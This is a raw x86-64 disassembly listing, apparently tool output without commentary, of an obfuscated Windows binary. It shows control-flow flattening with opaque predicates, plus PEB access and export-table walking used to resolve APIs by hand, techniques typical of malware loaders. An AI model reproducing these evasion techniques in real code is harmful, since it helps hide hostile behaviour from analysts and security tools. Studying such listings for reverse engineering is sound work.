cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53eddbc3
mov ecx, 0x25bdbd6b
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov eax, dword [rbp + 0x25c]
mov ecx, dword [rbp + 0x260]
cmp eax, ecx
sete al
and al, 1
mov byte [rbp + 0x267], al
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0xd79dee59
sub edx, 1
sub edx, 0xd79dee59
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53eddbc3
mov ecx, 0xd9e21ca1
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dl, byte [rbp + 0x267]
mov eax, 0xc4cfb1ac
mov ecx, 0x8783e275
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
sub edx, 0x80f35bb9
sub edx, 1
add edx, 0x80f35bb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6ef1cf86
mov ecx, 0xe713f06
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov dword [rbp + 0xb4], eax
mov rax, rsp
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0x604], 0xf4c3dc77
mov eax, dword [rbp + 0x604]
mov dword [rbp + 0xb0], eax
sub eax, 0xf4c3dc77
je 0x140006eb5
jmp 0x140006e9a
mov eax, dword [rbp + 0xb0]
sub eax, 0xf299275
je 0x140006f4e
jmp 0x140006eb0
jmp 0x140006f49
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov eax, dword [rbp + 0xb4]
mov rcx, rsp
mov qword [rbp + 0x620], rcx
mov dword [rbp + 0x61c], eax
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x628]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x628]
mov rax, qword [rax + 8]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x628]
mov rax, qword [rax + 0x10]
add rax, 0x24
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x604], 0xf299275
jmp 0x140006e7e
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0x638]
mov eax, dword [rax]
mov rdx, qword [rbp + 0x630]
add rdx, rax
mov rax, qword [rbp + 0x620]
mov qword [rax], rdx
mov rax, qword [rbp + 0x628]
mov rax, qword [rax + 8]
mov rdx, qword [rbp + 0x608]
mov r8, qword [rbp + 0x620]
mov r8, qword [r8]
mov r9d, dword [rbp + 0x61c]
movzx r8d, word [r8 + r9*2]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov rsp, rcx
mov qword [rbp + 0x268], rax
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
sub edx, 0xe271f5b8
sub edx, 1
add edx, 0xe271f5b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ef1cf86
mov ecx, 0x5db1c5dd
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0xc4a2f11e
jmp 0x140008980
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x21c], 0x4b875680
jmp 0x140008980
mov dword [rbp + 0x21c], 0xcaca0454
jmp 0x140008980
mov dword [rbp + 0x21c], 0xe1905ae1
jmp 0x140008980
mov dword [rbp + 0x21c], 0x625a7d38
jmp 0x140008980
mov dword [rbp + 0x21c], 0x11dd70bd
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0x9e084738
sub edx, 1
sub edx, 0x9e084738
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1db34af
mov ecx, 0xcda30ed4
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
lea rax, [rbp + 0xb00]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov rax, qword [rax]
mov qword [rbp + 0xa90], rax
mov rax, qword [rbp + 0xa90]
mov qword [rbp + 0xa98], rax
mov dword [rbp + 0xa8c], 0x6e7b1264
mov eax, dword [rbp + 0xa8c]
mov dword [rbp + 0xac], eax
sub eax, 0x8634269f
je 0x1400071c7
jmp 0x14000714a
mov eax, dword [rbp + 0xac]
sub eax, 0xc6209be7
je 0x140007214
jmp 0x140007160
mov eax, dword [rbp + 0xac]
sub eax, 0xcb4010c1
je 0x140007266
jmp 0x140007176
mov eax, dword [rbp + 0xac]
sub eax, 0xf8bdf432
je 0x140007275
jmp 0x14000718c
mov eax, dword [rbp + 0xac]
sub eax, 0x6e7b1264
je 0x1400071a7
jmp 0x1400071a2
jmp 0x140007270
mov rax, qword [rbp + 0xa98]
mov rax, qword [rax]
mov qword [rbp + 0xaa0], rax
mov dword [rbp + 0xa8c], 0x8634269f
jmp 0x140007270
mov eax, dword [0x14009529c]
mov ecx, dword [0x140095298]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xc6209be7
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xa8c], eax
jmp 0x140007270
mov eax, dword [0x14009529c]
mov ecx, dword [0x140095298]
mov edx, eax
add edx, 0xc667285e
sub edx, 1
sub edx, 0xc667285e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xf8bdf432
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xa8c], eax
jmp 0x140007270
mov dword [rbp + 0xa8c], 0xc6209be7
jmp 0x14000712e
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x6c4], 0x37deaf42
mov eax, dword [rbp + 0x6c4]
mov dword [rbp + 0xa8], eax
sub eax, 0x32eb8ecd
je 0x1400072e4
jmp 0x1400072a9
mov eax, dword [rbp + 0xa8]
sub eax, 0x37deaf42
je 0x1400072c4
jmp 0x1400072bf
jmp 0x1400072df
mov rax, qword [rbp + 0x6d0]
mov rcx, qword [rbp + 0x6d8]
mov qword [rax], rcx
mov dword [rbp + 0x6c4], 0x32eb8ecd
jmp 0x14000728d
mov byte [rbp + 0x277], 1
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1db34af
mov ecx, 0xc54ee98b
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0x83aae8bc
jmp 0x140008980
mov dl, byte [rbp + 0x277]
mov eax, 0xf84fcbd8
mov ecx, 0xc6364616
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov qword [rbp + 0x220], 0
mov dword [rbp + 0x21c], 0x3086b8a3
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x77b6d849
sub edx, 1
sub edx, 0x77b6d849
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x42fe6d0d
mov ecx, 0xa7b5d419
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0xfc06cf34
sub edx, 1
sub edx, 0xfc06cf34
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42fe6d0d
mov ecx, 0x6e732d6c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0xcaca0454
jmp 0x140008980
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x21c], 0xae112217
jmp 0x140008980
lea rax, [rbp + 0xb00]
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x370], rax
mov dword [rbp + 0x364], 0xe677f171
mov eax, dword [rbp + 0x364]
mov dword [rbp + 0xa4], eax
sub eax, 0xe677f171
je 0x140007513
jmp 0x1400074f8
mov eax, dword [rbp + 0xa4]
sub eax, 0x3603bf19
je 0x140008338
jmp 0x14000750e
jmp 0x140008333
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x378], rax
mov ecx, dword [0x1400952dc]
mov eax, dword [0x1400952d8]
mov edx, ecx
add edx, 0x700d5d4d
sub edx, 1
sub edx, 0x700d5d4d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x706], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x707], al
mov dword [rbp + 0x700], 0xcf21515d
mov eax, dword [rbp + 0x700]
mov dword [rbp + 0xa0], eax
sub eax, 0xaa108aca
je 0x140007cb9
jmp 0x140007587
mov eax, dword [rbp + 0xa0]
sub eax, 0xcbbc280b
je 0x14000831b
jmp 0x14000759d
mov eax, dword [rbp + 0xa0]
sub eax, 0xcf21515d
je 0x1400075fa
jmp 0x1400075b3
mov eax, dword [rbp + 0xa0]
sub eax, 0xd5f4819f
je 0x140007cd9
jmp 0x1400075c9
mov eax, dword [rbp + 0xa0]
sub eax, 0x1e7fa646
je 0x140007caa
jmp 0x1400075df
mov eax, dword [rbp + 0xa0]
sub eax, 0x6592ea6f
je 0x140007629
jmp 0x1400075f5
jmp 0x140008316
mov al, byte [rbp + 0x706]
mov cl, byte [rbp + 0x707]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5f4819f
mov ecx, 0x6592ea6f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x700], eax
jmp 0x140008316
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x7f6], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x7f7], al
mov dword [rbp + 0x7f0], 0xa48de835
mov eax, dword [rbp + 0x7f0]
mov dword [rbp + 0x9c], eax
sub eax, 0x9c2b8150
je 0x140007a44
jmp 0x14000768a
mov eax, dword [rbp + 0x9c]
sub eax, 0xa48de835
je 0x14000773f
jmp 0x1400076a0
mov r11b, byte [rbp + 0x7f6]
mov r10b, byte [rbp + 0x7f7]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7f0], eax
jmp 0x140007c41
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7f0], eax
jmp 0x140007c41
jmp 0x14000766e
mov dword [rbp + 0x700], 0xaa108aca
jmp 0x140008316
mov rax, qword [rbp + 0x708]
mov rax, qword [rax]
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x700], 0xcbbc280b
jmp 0x140008316
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
add edx, 0xc6b21b5a
sub edx, 1
sub edx, 0xc6b21b5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x80e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x80f], al
mov dword [rbp + 0x808], 0xa48de835
mov eax, dword [rbp + 0x808]
mov dword [rbp + 0x90], eax
sub eax, 0x9c2b8150
je 0x1400080cc
jmp 0x140007d3f
mov eax, dword [rbp + 0x90]
sub eax, 0xa48de835
je 0x140007df4
jmp 0x140007d55
mov eax, dword [rbp + 0x90]
sub eax, 0xb0fd7152
je 0x1400082f6
jmp 0x140007d6b
mov eax, dword [rbp + 0x90]
sub eax, 0xda39901f
je 0x140008150
jmp 0x140007d81
mov al, byte [rbp + 0x80e]
mov cl, byte [rbp + 0x80f]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x808], eax
jmp 0x140008300
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
mov edx, ecx
add edx, 0x1e84c291
sub edx, 1
sub edx, 0x1e84c291
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x808], eax
jmp 0x140008300
mov rax, qword gs:[0x60]
mov qword [rbp + 0x840], rax
mov dword [rbp + 0x83c], 0x830227b9
mov eax, dword [rbp + 0x83c]
mov dword [rbp + 0x88], eax
sub eax, 0x830227b9
je 0x1400081e3
mov dword [rbp + 0x808], 0x9c2b8150
jmp 0x140007d23
jmp 0x14000756b
mov rax, qword [rbp + 0x710]
mov qword [rbp + 0x380], rax
mov dword [rbp + 0x364], 0x3603bf19
jmp 0x1400074dc
mov rax, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x380]
mov qword [rax], rcx
mov rax, qword [rbp + 0x370]
mov dword [rbp + 0x21c], 0x480f306a
jmp 0x140008980
mov dword [rbp + 0x21c], 0x7f7a4d1e
jmp 0x140008980
mov dword [rbp + 0x21c], 0x6fa8f4a
jmp 0x140008980
mov rax, qword [rbp + 0x228]
mov dword [rbp + 0x21c], 0x854da01f
jmp 0x140008980
mov dword [rbp + 0x4cc], 0x9cebfb3
mov eax, dword [rbp + 0x4cc]
mov dword [rbp + 0x84], eax
sub eax, 0xa660b58f
je 0x14000854a
jmp 0x1400083b9
mov eax, dword [rbp + 0x84]
sub eax, 0xf8bdbf0a
je 0x14000856a
jmp 0x1400083cf
mov eax, dword [rbp + 0x84]
sub eax, 0x9cebfb3
je 0x140008416
jmp 0x1400083e5
mov eax, dword [rbp + 0x84]
sub eax, 0x1242f988
je 0x14000849a
jmp 0x1400083fb
mov eax, dword [rbp + 0x84]
sub eax, 0x37774ae3
je 0x14000853b
jmp 0x140008411
jmp 0x140008565
mov ecx, dword [0x1400952b4]
mov eax, dword [0x1400952b0]
mov edx, ecx
sub edx, 0x11279708
sub edx, 1
add edx, 0x11279708
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x1242f988
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4cc], eax
jmp 0x140008565
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
shr rax, 0x20
mov dword [rbp + 0x4d8], eax
mov ecx, dword [0x1400952b4]
mov eax, dword [0x1400952b0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x37774ae3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4cc], eax
jmp 0x140008565
mov dword [rbp + 0x4cc], 0xf8bdbf0a
jmp 0x140008565
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4d0], rax
mov dword [rbp + 0x4cc], 0x1242f988
jmp 0x14000839d
mov eax, dword [rbp + 0x4d8]
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov dword [rbp + 0x54c], eax
mov dword [rbp + 0x53c], 0xa0c8cb78
mov eax, dword [rbp + 0x53c]
mov dword [rbp + 0x80], eax
sub eax, 0xa0c8cb78
je 0x1400085c0
jmp 0x1400085a5
mov eax, dword [rbp + 0x80]
sub eax, 0xf71b7200
je 0x1400085eb
jmp 0x1400085bb
jmp 0x1400085e6
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x540], rax
mov rax, qword [rbp + 0x540]
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x53c], 0xf71b7200
jmp 0x140008589
mov rax, qword [rbp + 0x550]
mov rax, qword [rbp + 0x550]
mov rax, qword [rbp + 0x550]
mov dword [rbp + 0x21c], 0x4d73e031
jmp 0x140008980
mov eax, dword [rbp + 0x25c]
mov eax, dword [rbp + 0x260]
mov dword [rbp + 0x21c], 0x25bdbd6b
jmp 0x140008980
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov dword [rbp + 0x74], eax
mov rax, rsp
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x644], 0xf4c3dc77
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x70], eax
sub eax, 0xf4c3dc77
je 0x140008678
jmp 0x140008660
mov eax, dword [rbp + 0x70]
sub eax, 0xf299275
je 0x14000870e
jmp 0x140008673
jmp 0x140008709
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov eax, dword [rbp + 0x74]
mov rcx, rsp
mov qword [rbp + 0x660], rcx
mov dword [rbp + 0x65c], eax
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x668]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x668]
mov rax, qword [rax + 8]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x668]
mov rax, qword [rax + 0x10]
add rax, 0x24
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x644], 0xf299275
jmp 0x140008647
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x678]
mov ecx, dword [rcx]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov rcx, qword [rbp + 0x660]
mov qword [rcx], rdx
mov rcx, qword [rbp + 0x668]
mov rcx, qword [rbp + 0x660]
mov rsp, rax
mov dword [rbp + 0x21c], 0xe713f06
jmp 0x140008980
lea rax, [rbp + 0xb00]
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov rax, qword [rax]
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0xa70]
mov qword [rbp + 0xa78], rax
mov dword [rbp + 0xa6c], 0x6e7b1264
mov eax, dword [rbp + 0xa6c]
mov dword [rbp + 0x6c], eax
sub eax, 0x8634269f
je 0x14000881e
jmp 0x1400087ad
mov eax, dword [rbp + 0x6c]
sub eax, 0xc6209be7
je 0x1400088a2
jmp 0x1400087c0
mov eax, dword [rbp + 0x6c]
sub eax, 0xcb4010c1
je 0x1400088ef
jmp 0x1400087d3
mov eax, dword [rbp + 0x6c]
sub eax, 0xf8bdf432
je 0x1400088fe
jmp 0x1400087e6
mov eax, dword [rbp + 0x6c]
sub eax, 0x6e7b1264
je 0x1400087fe
jmp 0x1400087f9
jmp 0x1400088f9
mov rax, qword [rbp + 0xa78]
mov rax, qword [rax]
mov qword [rbp + 0xa80], rax
mov dword [rbp + 0xa6c], 0x8634269f
jmp 0x1400088f9
mov ecx, dword [0x14009529c]
mov eax, dword [0x140095298]
mov edx, ecx
sub edx, 0x5f60cbc8
sub edx, 1
add edx, 0x5f60cbc8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xc6209be7
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xa6c], eax
jmp 0x1400088f9
mov eax, dword [0x14009529c]
mov ecx, dword [0x140095298]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xf8bdf432
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xa6c], eax
jmp 0x1400088f9
mov dword [rbp + 0xa6c], 0xc6209be7
jmp 0x140008794
mov rax, qword [rbp + 0xa80]
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x6e4], 0x37deaf42
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x68], eax
sub eax, 0x32eb8ecd
je 0x140008967
jmp 0x14000892f
mov eax, dword [rbp + 0x68]
sub eax, 0x37deaf42
je 0x140008947
jmp 0x140008942
jmp 0x140008962
mov rax, qword [rbp + 0x6f0]
mov rcx, qword [rbp + 0x6f8]
mov qword [rax], rcx
mov dword [rbp + 0x6e4], 0x32eb8ecd
jmp 0x140008916
mov dword [rbp + 0x21c], 0xcda30ed4
jmp 0x140008980
mov dword [rbp + 0x21c], 0xa7b5d419
jmp 0x1400041dd
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x278]
mov rsp, rcx
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x210], rax
mov ecx, dword [0x1400952ec]
mov eax, dword [0x1400952e8]
mov edx, ecx
sub edx, 0x590de51d
sub edx, 1
add edx, 0x590de51d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf95cbdb
mov ecx, 0x2e627971
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x1dc], eax
jmp 0x14000d0bb
mov dword [rbp + 0x1dc], 0x5dda40aa
jmp 0x14000d0bb
mov rax, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x1f0], rdx
mov qword [rbp + 0x1e8], rcx
mov qword [rbp + 0x1e0], rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov dword [rbp + 0x284], 0x4c29e158
mov eax, dword [rbp + 0x284]
mov dword [rbp + 0x5c], eax
sub eax, 0x83aae8bc
je 0x14000bb5e
jmp 0x140008a92
mov eax, dword [rbp + 0x5c]
sub eax, 0x84a00130
je 0x14000ca99
jmp 0x140008aa5
mov eax, dword [rbp + 0x5c]
sub eax, 0x854da01f
je 0x14000a76c
jmp 0x140008ab8
mov eax, dword [rbp + 0x5c]
sub eax, 0x8783e275
je 0x14000b5de
jmp 0x140008acb
mov eax, dword [rbp + 0x5c]
sub eax, 0xa7b5d419
je 0x14000bc18
jmp 0x140008ade
mov eax, dword [rbp + 0x5c]
sub eax, 0xae112217
je 0x14000d0a3
jmp 0x140008af1
mov eax, dword [rbp + 0x5c]
sub eax, 0xafa565de
je 0x140009e29
jmp 0x140008b04
mov eax, dword [rbp + 0x5c]
sub eax, 0xb7d3f55c
je 0x140009e38
jmp 0x140008b17
mov eax, dword [rbp + 0x5c]
sub eax, 0xbe23be7b
je 0x14000b4ce
jmp 0x140008b2a
mov eax, dword [rbp + 0x5c]
sub eax, 0xc4a2f11e
je 0x14000b833
jmp 0x140008b3d
mov eax, dword [rbp + 0x5c]
sub eax, 0xc4cfb1ac
je 0x14000b85f
jmp 0x140008b50
mov eax, dword [rbp + 0x5c]
sub eax, 0xc54ee98b
je 0x14000bb4f
jmp 0x140008b63
mov eax, dword [rbp + 0x5c]
sub eax, 0xc6364616
je 0x140009e47
jmp 0x140008b76
mov eax, dword [rbp + 0x5c]
sub eax, 0xcaca0454
je 0x14000bc74
jmp 0x140008b89
mov eax, dword [rbp + 0x5c]
sub eax, 0xcda30ed4
je 0x14000b8de
jmp 0x140008b9c
mov eax, dword [rbp + 0x5c]
sub eax, 0xd9e21ca1
je 0x14000b5bd
jmp 0x140008baf
mov eax, dword [rbp + 0x5c]
sub eax, 0xe1905ae1
je 0x14000a6ed
jmp 0x140008bc2
mov eax, dword [rbp + 0x5c]
sub eax, 0xe242ec44
je 0x14000ca83
jmp 0x140008bd5
mov eax, dword [rbp + 0x5c]
sub eax, 0xe3229600
je 0x14000a555
jmp 0x140008be8
mov eax, dword [rbp + 0x5c]
sub eax, 0xe3773693
je 0x14000a868
jmp 0x140008bfb
mov eax, dword [rbp + 0x5c]
sub eax, 0xe392403d
je 0x14000ab62
jmp 0x140008c0e
mov eax, dword [rbp + 0x5c]
sub eax, 0xe7954122
je 0x140009e68
jmp 0x140008c21
mov eax, dword [rbp + 0x5c]
sub eax, 0xf4af3fa9
je 0x14000a60d
jmp 0x140008c34
mov eax, dword [rbp + 0x5c]
sub eax, 0xf84fcbd8
je 0x14000bb7f
jmp 0x140008c47
mov eax, dword [rbp + 0x5c]
sub eax, 0xfc150a5e
je 0x14000a5ef
jmp 0x140008c5a
mov eax, dword [rbp + 0x5c]
sub eax, 0xfd9f4854
je 0x14000ab53
jmp 0x140008c6d
mov eax, dword [rbp + 0x5c]
sub eax, 0x1db34af
je 0x14000ce3b
